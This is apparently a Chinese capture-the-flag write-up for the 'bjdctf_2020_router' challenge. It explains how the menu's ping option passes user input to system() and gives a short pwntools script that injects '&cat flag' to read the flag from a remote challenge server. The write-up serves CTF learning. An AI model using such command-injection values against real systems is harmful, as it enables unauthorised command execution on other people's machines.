bjdctf_2020_router
使用checksec
查看:
只开启了栈不可执行,放进IDA中查看,程序逻辑代码都在main()
函数中,也是一个菜单类题目
选项2和4是没有用的,来看看1和3:
- 1中用户可输入
0x10
大小的string,程序将这个string用system()
执行了??????? - 3 栈溢出
既然1能直接执行,那就试试直接连上去cat flag
吧
当直接使用r.sendline("cat flag")
时,可以看到程序其实时已经调用了系统命令ping
接下来只需要绕过ping
即可,这不随便绕嘛…
r.sendline("&cat flag")
exp:
from pwn import *
#start
r = remote("node4.buuoj.cn",26453)
# r = process("../buu/bjdctf_2020_router")
#params
#attack
r.recv()
r.sendline("1")
r.recv()
r.sendline("&cat flag")
r.interactive()